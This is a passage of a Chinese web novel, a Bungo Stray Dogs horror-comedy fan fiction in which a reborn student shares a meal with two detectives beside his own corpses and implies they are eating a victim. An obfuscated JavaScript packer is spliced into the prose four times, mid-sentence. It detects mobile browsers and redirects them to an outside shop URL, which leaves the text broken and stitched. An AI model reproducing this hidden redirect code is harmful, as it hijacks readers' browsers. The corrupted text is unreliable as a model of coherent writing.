【检测到与两位图鉴人物关系由“仇敌”变更为“死敌”,获得两次抽牌机会。】 【检测到宿主死亡,所有卡牌清零。】 【消耗一次抽牌机会转生,当前剩余抽牌机会:5】 【正在转生中,请稍后。】 【转生成功!】 【欢迎使用横滨伪人模拟器!】 【检测到抽牌机会大等于五,是否使用“高级抽牌”?】 【注:一次性花费五次及以上抽牌机会,可抽取更高级的卡牌。花费次数越多,抽取强力卡牌的可能性越高。】 【是否立即使用“高级抽牌”抽取卡牌?】 【是/下次抽取】 …… 【正在抽牌……】 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·超推理(体验卡)”:该卡牌存在未知错误,效果未知。解锁任务“拟态:江户川乱步”】 【“道具·存档点”:使用后,将该时刻记录为存档点,并保留已获得的卡牌。此后若死亡,将转生至存档点记录的时刻。一个道具仅可使用一次,若之前已使用过存档点道具,使用后将覆盖上次的存档点记录。】 【“称号·人泥”:佩戴该称号时,可同时使用异能“落椿”、“愤怒的葡萄”、“柠檬炸弹”、“雪中梅”,异能强度为原异能使用者的百分之五十。但同时获得“园丁思维”。园丁思维:你非常喜欢栽培植物。】 6. 第6章 死白一片的天花板,角落里蛛网丛生。 一只小小的蜘蛛爬着爬着,顺着一根透明的丝线垂下,如同飞翔般停滞在空气中。 叶涟呆呆地盯着天花板,见小蜘蛛离自己越来越近,随手一拍,将蜘蛛不知拍到了什么地方去。 如果是从前,他还会有点害怕虫子,但现在,已经没有什么好怕的了…… 叶涟坐起身,他的手慢慢地摸上自己的脖颈,然后就保持着捧着脸颊的姿势。 还好,脑袋还在…… 不是,什么鬼,为什么城市里会有老虎啊!动物园呢,动物园主理人在哪! 这是什么破地方,到底还有没有天理?有没有人能管一下? 都说强者不抱怨环境,但他是强者吗,他只是个脆皮大学生而已。以前早就听说迟早要接受社会的毒打,好好好,这样毒打是吧? 上来就对他一个绷带绞杀,再一个猛虎爪击,又一道死到临头斩,他招谁惹谁了真是请问了呢。 “横滨你这个冷漠无情的城市,我永远都不会原谅你……” 用最委屈的语气说出了最无力的话,叶涟摸着自己依然有幻痛的脖子,走到小茶几后。 果然,地板上躺着三具他的尸体。 第一具最初的尸体,额头流着血,表情似哭似笑。 第二具被绷带勒死的尸体,眼球凸出来,让叶涟想到蒸熟的鱼。 第三具出血量要大得多,头和身体分开,被斩断的脖颈处喷涌出大量的血,弄得满地都是。 死过两次,叶涟的心都不怎么抖了,他麻木地注视着尸体。 内心毫无波动,甚至有点想笑。 好吧,还是有点害怕,但想笑也是真的。 叶涟的嘴角扯出一个命苦的笑容。 他都能猜到接下来发生什么事。 “咚咚。” “……” 果然。 叶涟转过身。 他深深地吸了一口气。 从小茶几拿起纸巾盒,“chua”地一下朝门那边扔过去。 这还不解气,跑到门前,对着门就是一阵狂放无比的拳打脚踢。 “你是不是有病啊??” “敲敲敲,天天敲,这个门它就那么好敲吗,你来故意找茬是不是?” “要是没事干,回家吧孩子回家吧,回家去打个老虎好不好?” 用拳头敲门会很痛,叶涟捡起地上的纸巾盒,对着门一阵哐哐地砸。 砸得那是一个震天响。 “你知不知道,我忍你很久了?” “本来杀人就烦,再来敲门我就把你也杀了!” “滚哪!滚!” 门外安静了。 或者说门外的生物本来就只敲了两下,剩下的是暴风雨的声音,夹杂着轰隆隆的沉闷雷鸣。 叶涟也舒服了。 他轻微地喘着气,这么用力宣泄一通,真是很辛苦他。 要是门外的怪物闯进来,那就闯吧。 他已经死了两次,大不了再死一次,怕什么呢。 ……其实他心里很怕。 死亡的痛苦,与寻常受伤生病的痛苦不是一个量级。在过往,他生活在和平的地方,别说死亡,连受伤都不怎么有过。 然而现在,他除了这样苦中作乐地为自己鼓舞打气,也别无他法。 叶涟将似乎有点裂开的抽纸盒放回小茶几,软软地倒在沙发上。 他伸手探进睡衣口袋,取出他刚才抽到的道具。 名为“存档点”的道具,以一枚软糖的形式出现。 它由透明的塑料纸包装着,呈现出眼球的外形,虹膜为猩红色,还带着血丝,捏起来弹弹的,很有韧性。 真实得让叶涟忍不住怀疑,这是不是真的眼球。 虽然软糖的模样很猎奇,但只要吃掉它,就能完成一次“存档”,在以后转生时保留已拥有的卡牌,无疑是一件相当有用的道具。 不过,考虑到现在没有其他卡牌,现在就存档很不划算,叶涟并没有立即将它吃掉,而是小心地把软糖放回了口袋。 瘫坐了一会儿,正当叶涟考虑着如何处理尸体时,门的方向,又传来了敲门声。 没完没了了是吧? 叶涟面无表情地站起身,准备去厨房拿菜刀。 有地上的尸体在,报警是不可能报警的,只能砍砍人这样子。 想到砍人,叶涟不由得想起上次获得称号后,从自己的手心长出的杀猪刀。 他低头,盯着自己的手心,心中默念——变变变! 无事发生。 难道要念什么神奇的妙妙咒语? 总不会非得要称号吧。 可恶,要求这么严格干嘛,就不能让让他吗!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007460|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶涟长长地叹了口气。 “嗨——有人在家吗?武装侦探社送温暖,开门即送神秘大礼包唷~” 门外传来了一道悠悠然的男性青年的声音。 即使是在暴雨中,那声音依然很清晰。 叶涟扯了扯嘴角。 呵,又想骗他开门是吧。 “喂,太宰,这样的说法也太可疑了吧?”门外传来另外一道声音。 “唉呀,国木田君,我就是试一试市民们的警惕心,看看特务科的教育工作做得怎么样。” “你也知道那是政府部门的工作。” “诶,但是,我们这次接到的委托不就是来自于他们吗?” “他们的本职工作,和我们接到来自他们的委托,这之间不一样吧?” “别管那么多啦,怎么回事,还没有人开门耶,要不——我们破门而入吧?” “不要用跃跃欲试的语气说出那种违法犯罪的话啊!!咳咳、那个,请问有人在家吗?我们是武装侦探社的社员,今天上午有事务员和您预约过拜访事宜的,我们是有事耽搁来得迟了些,但您可以拨打我们社的电话核实。我是国木田独步,以及旁边这位,是我的搭档太宰——” “灯是开着的,肯定有人在啊,果然还是破门而入吧?” “不要打断我的话——!” 好好好,这次的怪物一来就来两个。 生活不但没有让让他,反而变本加厉! 叶涟从厨房拿了把菜刀,一声不吭地站在离门有一段距离的地方。 要是敢进来,他就和他们拼啦! 然而,过去了一段时间,门外都没有更多动静。 应该是……走了吧? 叶涟稍稍松了口气,转过身。 也就是这一转身,他看见…… 一张脸,一张好像鬼似的苍白的脸,贴在他家的窗户玻璃上。 湿漉漉的黑发顺着雨水紧挨着玻璃,鸢色的眼珠津津有味地看着屋内的一切。 那人的视线扫过叶涟,扫过他家的沙发,最后落在地上的三具尸体上。 然后,张了张嘴,仿佛发出了一声“哇哦”来感叹。 只是,所有的人声,都被暴雨和狂风的声音,静悄悄地淹没了…… 叶涟感到自己的耳边一阵嗡鸣。 窗帘呢,不是,这客厅里怎么没有窗帘啊? 7. 第7章 叶涟盯着贴在窗户上的人脸。 他的面色很平静,看上去没什么反应。 淡定得仿佛无限流小说里历经无数世界的顶级大佬,或者站在食物链顶端无所畏惧的强者。 甚至连眼睛都没睁大一点,反而扯扯嘴角,扬起一个平淡的笑容。 他若无其事地,将手中的菜刀拍在小茶几上。 旋即,转身向厨房走去。 厨房的空气里弥散着潮湿的腥味,冰箱旁边,有一个装啤酒的纸箱子。 里面没有啤酒,只有几个空啤酒瓶和一桶可乐。 叶涟捏住可乐的瓶颈位置,将其提了起来。 他的身体素质一般,这样做会很费劲,不如用双手抱着。 但叶涟懒得管那么多,像拎人头一样,拎着可乐就往外走,还顺手从壁橱拿了个一次性塑料杯。 他将可乐放在小茶几旁边的地板上,整个人蹲在小茶几和沙发之间。 人脸,窗户,尸体X3,小茶几,叶涟,沙发。 形成了一道美丽的风景线。 那张脸在叶涟的正对面,似乎有些困惑,一动不动地贴在那里,像是想看看这个疑似变态杀人狂的青年要做什么。 然而叶涟没什么可困惑的。 生活嘛,默念一下一千减七等于多少,忍忍也就过去了。 他的后背抵着沙发,抱着可乐,将可乐咕咚咕咚倒进塑料杯,不用太多,五分满即可,剩下九十五分给空气和雪白的气泡。 动作幅度过大,撒了亿点出来,没关系,正好纸巾也不想活,拿纸巾擦擦。 叶涟很有仪式感。 他将可乐瓶放在地板上,菜刀放在右手边,裂开的纸巾盒放在左手边,湿哒哒的纸巾团放在前边,塑造成几团纸花的模样。 做完这一切,才举起杯子。 第一杯敬自己。穿越到一个鬼地方,原身有车有房有工作,定睛一看,通缉的车,闹鬼的房,犯罪的工作和破碎的他。开局既没屠龙宝刀也没有狗,只有一具尸体,现在尸体增殖到了三具,生物老师也没说尸体会自我繁殖啊。 第二杯敬自己。有系统作为金手指,以为能走上人生巅峰,结果看不懂系统叽里咕噜说的什么,只能盲抽。抽取了几张卡牌,觉得自己充满力量,但最后谁也没打过,卡牌也都没了,现在除了一颗眼球糖什么都没有。 第三杯敬自己。听见敲门声就打开门,以为有人需要救助,还很是担心了一会儿,结果自己才是最需要救助的。先是被绷带揍,绷带揍完老虎揍,老虎揍完一刀斩,一刀斩完又被鬼脸吓,哈哈,焯! 第四杯敬自己。没别的,就是想喝。 “……?” 窗户外面的人,就这样看着叶涟一杯又一杯,吃播似的对着自己喝可乐。 也有可能是对着尸体喝可乐。 ……不管是哪种都很诡异啊! 砰砰。 那人拍了拍窗户,仿佛想提醒叶涟,自己还在看着呢。 “干嘛。” 叶涟一抬眼皮。 他喝着可乐,愣是有种喝闷酒或者喝农药的气势。 “想进来啊?放你进来,你能给我加学分吗?不能?不能就快点滚蛋。” “……” 窗外的人似乎在说什么,但雨声哗哗的,叶涟又读不懂唇语。 于是他再次举起一杯可乐炫自己嘴里,未读乱回: “这样吧,你回去等通知,我在三个工作日内给你答复好吗?好的。” 夜色沉沉,暴雨如瀑。 窗外人并未回去等通知,反而又多了一个人靠近窗户。 “喂,太宰,我们下次再来就是了,扒着别人家窗户看很不礼貌。你在看什么——” 那是一个黄发的男人,有着灰色的眼瞳,戴着方形边框的眼镜。 不像神秘黑发人那般淡定。 黄发青年走近了。 看见屋内地上的三具尸体,以及流淌一地的血,当即瞳孔地震! “这……” 几乎是瞬间的反应,他拿出了口袋里的手机。 “等一等,国木田君。” 太宰抬手制止了国木田拨打电话的动作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007461|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我觉得,还是先尝试和他沟通一下比较好呢。” “沟通?” 这里发生了杀人案,不是明摆着吗。 而且,屋内的家伙,也没有想要沟通的模样——那家伙根本不是人类吧。 国木田不太明白,然而,他相信自己的搭档。 当然,不是相信太宰不会撒谎什么的,毕竟太宰总是骗他……几乎把骗他当成乐趣了啊可恶! 然而太宰只会在一些无关紧要的小事上开玩笑,在这种正事上,这位搭档还是很可靠的。 “你想怎么做?” 国木田紧紧盯着屋内的那名青年。 在他眼里,屋中的景象诡异得不能再诡异。 三具面容一致的尸体,加上一位松弛感爆棚的青年,他在做什么,喝可乐……? 即使是做噩梦,国木田也做不出这般荒唐的梦! “我们翻进去吧。”太宰说。 “这种特殊情况,破窗而入也可以……” 国木田想了想,侦探社社员也不能私闯民宅,但他们社有异能许可证,又有乱步先生在,一直是警方的合作企业。 而且,屋内那个应该是伪人,且又发生了命案…… “需要破窗锤吗?” 国木田郑重地询问。 仿佛只要太宰说需要,他就能立即变一个出来。 “唔……不用。” 太宰四下看了看。 将窗户……直接拉开了。 暴雨的声音一下子变得清晰,狂风灌入屋内,吹得叶涟一个激灵。 “?”国木田目瞪口呆。 合着这窗户根本没上锁啊! “?” 叶涟看着翻进来的两人,拿着一次性塑料杯的手也是一顿。 怎么他不开门,怪物还能追着他杀的? 不是说好了将头蒙进被子里绝不往外看,鬼怪就不能掀被子;走路听见后面有人叫名字,不回头就无事发生;待在家中不开门不允许鬼怪进来,这里就是安全屋—— 恐怖片的规则给我好好地遵守啊混蛋! 8.第8章 比暴雨夜,有一张脸贴在窗户上盯着自己,还没法拉上窗帘更恐怖的事是什么? 答案是……有两张脸盯着自己。 那么,更恐怖的呢? 叶涟现在就能回答—— 两张脸飞进了屋里……不是,两个怪物不讲武德,进屋了啊! “来者何人,速速报上名来!” 叶涟蹲在沙发前,摇晃着一次性塑料杯,一声质询,将两人叫停在原地。 “我是国木田独步……” “大错特错!” 叶涟眼神一凝,仰头干了可乐,放下杯子,唰地站起身。 “你应该说,‘在下横滨国木田独步是也’!” 国木田:……? 【检测到图鉴人物,获得一次抽牌机会。】 【当前抽牌机会:1】 【是否立即抽取卡牌?】 【正在抽牌……】 “你,又是何人?” 叶涟转头,望向那个缠着绷带、身穿雨衣,和鬼一样的黑发青年。 别以为换了一身衣服还长得高了点,他就认不出来了! 那个用绷带杀了他一次,后来还在他被一刀枭首后,嘲笑他的家伙! “接我一招不死,你自当知晓!” 太宰稍稍抬头,一脚跨过尸体,豪情万丈地来到小茶几前。 他的面色平静肃然,放在身后的手,赫然摸向藏枪的地方! 国木田:?不是说要沟通吗? “那就来吧,看看是谁接不住这一招!” 叶涟大喝一声,骤然出拳! 而太宰,出了布! “……” 叶涟大受打击,不可置信地向后退了半步,小腿碰到沙发,整个人跌坐在沙发上。 “咦?不小心就赢了。” “在一个恐怖的暴风雨夜,有一位智谋无双的侦探社调查员,经过一番激烈的斗智斗勇,终于击败了穷凶极恶的罪犯!” “那位调查员究竟是谁呢?好神秘!哦哦,原来是我——太宰治!哎呀,抢了所有人的风头,真是不好意思呢~” 太宰笑眯眯地一手叉腰,另一只手依然保持着手指张开的“布”形态。 他稍稍俯身,在叶涟眼前晃了晃手掌。 叶涟面无表情,左看看,再右看看,就是不看太宰。 “在想怎么求饶吗,十六夜君?” “我在找我的Death Note,我要把你们的名字统统写上去。” “那是什么?” “只要把他人名字写上去,就能让人敞开心扉的神奇妙妙工具。” “哇哦。” 太宰眨了眨眼。 “可是,你不把自己的名字写上去,怎么证明那是你的呢?” “对哦,有道理。” 叶涟恍然大悟,双手合起,“难道这就是为什么,我无法成为新世界的卡密……” 国木田:?……好神秘的对话。 “好啦,来者是客,你们随便坐。” 叶涟再次站起身,大手一挥。 太宰低头看看脚下的三具尸体。 除了叶涟刚才坐着的长沙发,侧边还有一个单人沙发,但他们有两个人。 国木田不太可能和叶涟肩并肩坐一起,太宰也没有和诡异男青年坐一块的想法。 而且,围尸而坐,似乎不太好吧。 太宰倒是不觉得有什么。 他是担心国木田会无法忍受这种诡异情景……国木田现在还处于一脸空白,瞳孔地震的状态呢。 “坐头上也行,不用客气哈。” 叶涟绕过茶几,抱起地上的头,笑呵呵地递给太宰,又朝国木田点点头,拿起桌上的菜刀。 “我去给你们炒两菜。” 太宰微妙地注视着叶涟,动作缓慢地,伸手把头接了过来。 他垂下眼眸,静静注视着那颗头。 脸上的笑容,逐渐变得很浅淡。 手中的这颗头,很沉,是人类头颅的重量,不是硅胶和塑料制成的惊吓道具。 柔软的黑发湿漉漉的,脸庞上也带着滑腻的冰凉雨水,但皮肤依然有温度,死亡时间不长,可能还不到两个小时。 脖颈的断口处,猩红的血顺着苍白的皮和暗红的肉不停地淌下。 凶手是从死者身后动的刀,用锋利得惊人的武器,瞬间切断了死者的颈骨,可能在死者死亡时,还没能怎么反应过来,因此才几乎没有恐惧的表情。 太宰双手捧着头颅,将其正面对着自己,低头和它对视。 人头大睁着双眼,瞳孔空洞涣散,但脸上带着微笑,一种太宰很熟悉的,冷酷的笑容。 死者的脸,是十六夜涟的脸。 也就是说,十六夜涟若无其事地将其自己的头颅抱了起来,递给他,然后让他随便坐。 “那个——” 国木田的嘴角,连带着脸颊,都轻微抽搐着。 他正打算叫住叶涟,然而,叶涟已经拿着菜刀走进了厨房,并关上了厨房门。 “这家伙真的有沟通的可能吗……” 国木田轻轻吸了一口气,小心地避开地上的尸体,走到茶几的侧边,看向太宰。 “就这样让他进厨房,会不会出问题?我们要不要跟过去……” “放心吧,国木田君。” 太宰抱着头笑起来。 “你幻想的他在里面引爆一颗炸弹,或者预备使用某种超级必杀绝技,冲出来把我们全部干掉,都是不存在的。与其担心他会做出危险的事,不如担心,他会不会从厨房逃跑比较好呢。” “谁想象那些了……!” 国木田从他的话语中意识到了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018915|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你确定他没有危险性吗?” “嗯,倒是不能完全确认,‘毫无危险性’啦。” 太宰的视线慢慢地移向厨房关闭的门。 “他的危险性,恐怕和敦君差不多。” “虽然不知道你是怎么确认的……但那不就是基本没有危害吗。”国木田想到侦探社里的那个少年。 “不是哦。” 太宰走到沙发边,将这颗头放在了单人沙发上。 “假如敦君加入的不是侦探社,而是Mafia,他一定会成为夜晚最恐怖的死神。” “而如果十六夜君,没有得到正向的引导……也会变得极端可怕呢。” …… 好可怕! 叶涟将菜刀放在案板上,好悬才没有瘫倒在地。 那个用绷带杀过他一次的名叫太宰的男人,说要出招的时候,眼神冰冷得他几乎喘不上气。 过年得吃多少小孩,才能有那种眼神?! 他想起被绷带绞杀的窒息感,差点当场举手投降…… 之前那个国木田,在门外是说,他们来自什么侦探社? 谁信啊! 那种恐怖的家伙会是侦探? 不不,等等,横滨,侦探社,太宰治,国木田独步…… 这个设定怎么那么耳熟呢。 他是穿进那个叫文豪什么的动漫里了? 老天,这不对吧。 他只看过“一口气看完文豪XX第一季”,剧情早就忘了。 连反派名字叫什么都没记住,好像是名字很长的神秘金发男…… 他为什么会穿越进这种地方,还一来就被杀两次,这是什么独特的招待穿越者的礼仪啊? 退一万步说,他既然能存档,难道不应该穿成转学到东京的卷毛黑框眼镜男高中生吗…… 白天上学,晚上化身怪盗,一边平平无奇地考全校第一,一边组建心之怪盗团拯救大人,每天苦恼该答应哪位朋友的邀请,这才对吧! 叶涟扶额苦笑,看向自己这次抽取到的卡牌。 【抽牌结束。请从以下三张卡牌中任选一张。】 【“异能·堕落论(体验卡)”:获得三次使用异能“堕落论”的机会,并解锁任务“拟态:坂口安吾”】 【“异能·天衣无缝(体验卡)”:获得一次使用异能“天衣无缝”的机会,使用后该异能持续时间为一天。并解锁任务“拟态:织田作之助”】 【“称号·玩家(残缺)”:佩戴该称号时,你的视野中将出现小地图,范围为以你为中心半径十米。人类将以红点形式出现,非人类生物将以蓝点形式出现。 但同时获得“love思维”。Love(level of violence/暴力指数)思维:你想方设法提高伤害他人的能力,漠视所有生物的生命,包括你自己。】 9.第9章 叶涟发现,这次自己能够看懂的乱码,似乎又多了那么一点。 可能是错觉。 也有可能是……死亡次数的增加能让他读懂系统文字? 什么鬼的“不死不会玩”的设定。 叶涟也是无力吐槽,他盯着三张卡牌,幽绿的文字闪着莹莹的光芒。 嗯…… 还是看不懂具体意思。 但是能看懂称号那张卡,里面的介绍中,似乎有个“love”? “love”他懂啊,他太懂了! 他认识“love”这个词比认识“abandon”还早呢! 难道说…… 他终于要时来运转了,这个称号,是某种攻略他人、收集爱意值的新系统,或者,能够让别人直接爱上他?! 叶涟的视线放在第三张卡牌上。 他之前已经拿过了两次称号,每一次的思维都很诡异…… 本着事不过三的原则—— 他只用了两秒就选定了称号卡! 不管怎么想,再差也就是变成恋爱脑吧? 他这么大一个系统在这里,两个武装侦探社的社员能秒他? 漆黑的卡牌化为一道乌光,钻入了他的脑海。 叶涟在顷刻间理解了称号的意思。 想着称号中关于“love”的解释,他有六点想说: “……” 不是,谁家的“love”是暴力指数啊? Love什么时候换含义了,怎么没人通知他? 不过,还是那句话…… 选都选了。 要是选了称号不用,那不是白选了吗? 叶涟想起前两次抽出称号的死亡结局,带着风萧萧兮易水寒的气势,悲壮地戴上了“称号·玩家(残缺)”。 他打定了主意,就看一眼。 看一眼小地图长什么样,看看厨房外那两个是人是鬼,看完就卸下称号。 绝对不可能被love思维影响! 随着称号的佩戴,叶涟的视野中,出现了一张小地图。 小地图的中央是一个白色的光点,代表他自己。 在离他不远处,厨房外的方向,显示着两个猩红的光点! 叶涟的心一跳,然后忽然反应过来,人类才是红点,非人类生物是蓝点。 一般而言,“敌对方”会采用红色表示危险,友方会采用蓝色或者绿色表示无害。 结果,他眼前的这个小地图,竟然是反过来的…… 到底是哪个鬼才设计师搞出来的这种反直觉设计,竟然还没被玩家骂死吗? 叶涟暗自腹诽着,打开壁橱柜,拿出了数个碗碟。 说炒几个菜就炒几个菜,他不会食言。 顺便把另外的能开的柜子、抽屉,甚至是垃圾桶,全都看了一遍。 他也不知道自己为什么要这么做,但是就这样做了。 反正也没什么坏处。 说不定能找到有用的道具呢。 想到这里,他心里就有些抱怨,小地图竟然没有感叹号显示可接取的任务,或者用问号显示可探索的地方。 该不会要把那两个NPC杀掉才能升级吧? 感觉有点难杀。 不管怎么看,那种长得很不路人、还有名有姓的角色,都不是他这个等级应该打的boss。 而且他好像记得,武装侦探社是动漫主角所在的势力? 还没找到出新手复活点的办法,就打武装侦探社吗,真的假的。 就算用脚趾头想,都能想到那肯定是游戏后期才能刷的副本。 至于“看完就卸下称号”的事……已经被他抛之脑后。 此时,叶涟的潜意识抗拒着“卸下称号”。 有小地图在,就能够快速知晓附近有没有敌人,及时避开危险。 如果前两次有小地图,估计就不会那么轻易地死掉了。 这么有用的称号,干嘛要卸下? 前两次死亡都只是意外而已。作为一个玩家,哪有不多死几次的?他又不追求无伤速通。 如果因为死了两次,就放弃使用称号,那不是因噎废食吗? 叶涟打开冰箱的保鲜层。 里面的菜很少,他从里面取出了几枚鸡蛋,几块豆腐,一碗已经腌制好、用保鲜膜封存着的里脊肉,以及两根塑料袋子里的丝瓜。 又四下找了找,从一个篮子里找到了几颗番茄,几根打蔫的青椒。 虽然身上没有血条,此时也没有受伤,但他想试一下吃饭能不能加血。 试试总没坏处。 叶涟盯着现有的食材,总觉得少了些什么。 那么一小碗肉,三个人怎么分。 说不定还能找到些冻排骨,做个丝瓜排骨汤? 这样想着,叶涟打开了冰箱的冷冻层。 第一层是一些丸子,可以拿走放汤里。 第二层是一些冰淇淋,可以拿走当餐后甜点。 这游戏竟然没有物品栏,真的不合理吧! 叶涟拿走三盒冰淇淋,有些遗憾地看着剩下的甜点,合上抽屉,然后拉开第三层。 一个黑色的塑料袋,安静地躺在那里。 隐约嗅到不寻常的叶涟,一下子兴奋了起来。 没想到真的有隐藏道具,藏得还挺深! 他打开塑料袋。 袋子里,赫然是一颗血淋淋的、双目圆瞪的人头。 叶涟的鼻子一下子就皱了起来。 他把丸子和冰淇淋都放桌上,又戴上食品级一次性手套,走过来翻来覆去地观察这颗人头。 这是一颗青年男性的头,面带恐惧的神色。 叶涟横看竖看,看出一句话: 这人谁?不认识。 也不像什么道具啊。 反而像尸体。 哦,原来是尸体啊,怪不得这么真实。 叶涟顿时有些嫌弃,索然无味地重新系好了袋子,关上冰箱。 一颗脑袋放这里能干什么,吓唬人吗? 吓唬人就该像电影里那样,直接一颗头,正对着放保鲜层,让人一开冰箱就能看见。 放冷冻层干嘛,头颅又没肉可吃,留着过年呢? 他将一次性手套摘下,丢进垃圾桶,旋即熟练地开始起锅烧油。 很快,就做好了三菜一汤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040962|194062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “丝瓜汤来咯——” 叶涟找了桌垫,小心垫在茶几上,而后才将菜全部端到了客厅。 侦探社的两人正蹲在地上,应该是在检查尸体。 嗐,就是太客气了,有沙发坐都不坐着,还把人头放沙发上呢。 在那观察尸体,又不会让尸体复活。 叶涟的视线扫过两人的脖颈。 先不论是不是能够杀死NPC取得经验,就目前的情况来说,确实不太好杀。 首先,他没有杀猪刀那样的工具,其次,对方人多,再次,对方可能有异能。 劣势在我,暂避锋芒! 要是厨房里能找到毒药就好了,少不得来两碗乌头拌饭。叶涟不无遗憾地想。 国木田抬起头,以一种难以言喻的眼神,看着他将饭菜端上小茶几。 太宰也以一种微妙的眼神看着他,“那什么,十六夜君……” “怎么了?吃呀,我手艺很好的。” 叶涟的脸上笑嘻嘻,没人能看出他的内心所想。 “我们为什么不在厨房吃呢?” 太宰站起身,“就着尸体下饭,对饭菜的香味似乎不太好耶——” “那是重点吗……”国木田觉得自己待在这两人旁边,就像进入了某种无法理解的新世界。 叶涟眨眨眼。 可恶,好合理的问题。 “厨房没有大的餐桌啦。我们可以蹲在这吃,你看,像这样。” 叶涟示范地蹲在沙发和小茶几之间,捧起碗。 不是他不想坐着,是小茶几太矮,夹菜不方便。 “哦哦,原来如此——”太宰凑到他身边,也蹲下身。 他比叶涟要高一点,腿又很长,所以显得略有些拥挤,但他的表情看起来倒是很满意,一种猫咪找到了合适的纸盒子的感觉。 太宰端起碗,拿起筷子,朝国木田招手,“国木田君,你也来呀——” 国木田的眼角一跳。 什么啊,为什么会有这种蹲在尸体前吃饭的发展…… 这里可是有三具尸体!尊重一下死者好不好……死者好像也蹲在那?不对不对,那就算不是凶手,也是嫌疑人吧? 太宰也是,直接过去吃饭,不警惕着点饭里有什么不说,还叫他一起? 就好像只是在出外勤,于是拿着盒饭往角落若无其事地一蹲,就开始津津有味地吃起来…… 这种画面出现在这栋屋子里,未免也太诡异了吧? 国木田深深地吸了一口气,尽可能让自己心平气和一点。 “我们是来工作的,不是来吃饭的。” 说着,他从外套口袋里,取出了一张照片。 而后,带着严肃的神情,注视着正将麻婆豆腐拌在饭里的叶涟,将照片展示在了他的眼前。 “你有见过这个人吗?” “唔?” 来任务了? 叶涟抬头,看向那张照片。 照片上是一个青年,虽然十六夜涟的记忆很混乱,但叶涟大致知晓,十六夜涟百分百与这青年的死亡有关。 毕竟,厨房冰箱里的人头,有着与照片青年一样的脸。 10.第10章 “见过啊。” 看着那张照片,叶涟点了点头,夹起一块肉片。 “我们这不是正在吃吗?” 说着,将青椒和肉片一起放进了嘴里。 有些人不喜欢青椒,但叶涟还挺喜欢青椒的,尤其是烤青椒。 炒过或者烤过的青椒,不同于生吃时的脆感,其会变得很软韧,若是搭配上肉,会有吸足油脂且充满汁水的香味。 空气陷入了诡异的寂静。 这家伙在说什么呢……?! 国木田保持着展示照片的姿态,大脑空白了两秒。 是自己说话太快,对方理解错了自己的问话吗? 还是说,自己刚才不小心问错了? 难道自己刚才问的,其实不是“你有没有见过他”,而是“你吃晚饭了吗”…… 是问错了吧?或者是说错了…… 不对啊!怎么想都不对!! 十六夜涟的第一句话是“见过”—— 也就是说,根本不是问错或者听错! 而是…… 国木田的脑海中,那条名为理智的弦,啪地一下就崩断了。 他死死地盯着叶涟的嘴唇,浅色的嘴唇上有淡淡的油光,上下唇瓣之间,那深不见底的缝隙里面,森白的牙齿正咀嚼着…… 咀嚼着—— 两名侦探社社员的眼神,不由自主地飘到了雪白瓷盘中的青椒炒肉上。 桌面上,只有这一道菜含有肉食。 而后,太宰仿佛被吸引了一般,缓缓夹起了一块肉片…… 这一行为,让国木田的脸彻底没法绷住。 他的表情扭曲起来: “太宰——” “还蛮好吃的耶。” 太宰将肉片放进嘴里嚼了嚼,眼睛发亮,又夹起一块,递到国木田眼前: “国木田君也想尝尝吗?” 谁想尝尝啊! 这里除了他还有正常人类吗?? 他叫住太宰,是想制止他的举动,不是说要分一块肉! 国木田再度瞳孔地震,他几乎是要大叫出来一般,咬牙切齿道: “你没听他说什么,他的意思是,这个肉是……” “喔,是人类的肉诶!我还没有吃过,果然有种独特的味道,说不定吃掉之后,死者的位置就能知道了呢!”太宰笑眯眯地说。 “既然知道是什么肉,就快吐出来啊——” “唉呀唉呀,已经吞掉了啦——” 国木田一手按着太宰的肩膀,努力地摇晃着他,而太宰就好像没有骨头一样,顺着其动作晃悠,但就是不张嘴。 见状,国木田没招了,一边按着太宰的筷子不让他继续夹,另一只手,则抽出了枪,指着叶涟。 要干的事情太多,再加上过量的惊悚,正常人可能很快就会手忙脚乱,忙中出错,甚至出现过激反应。 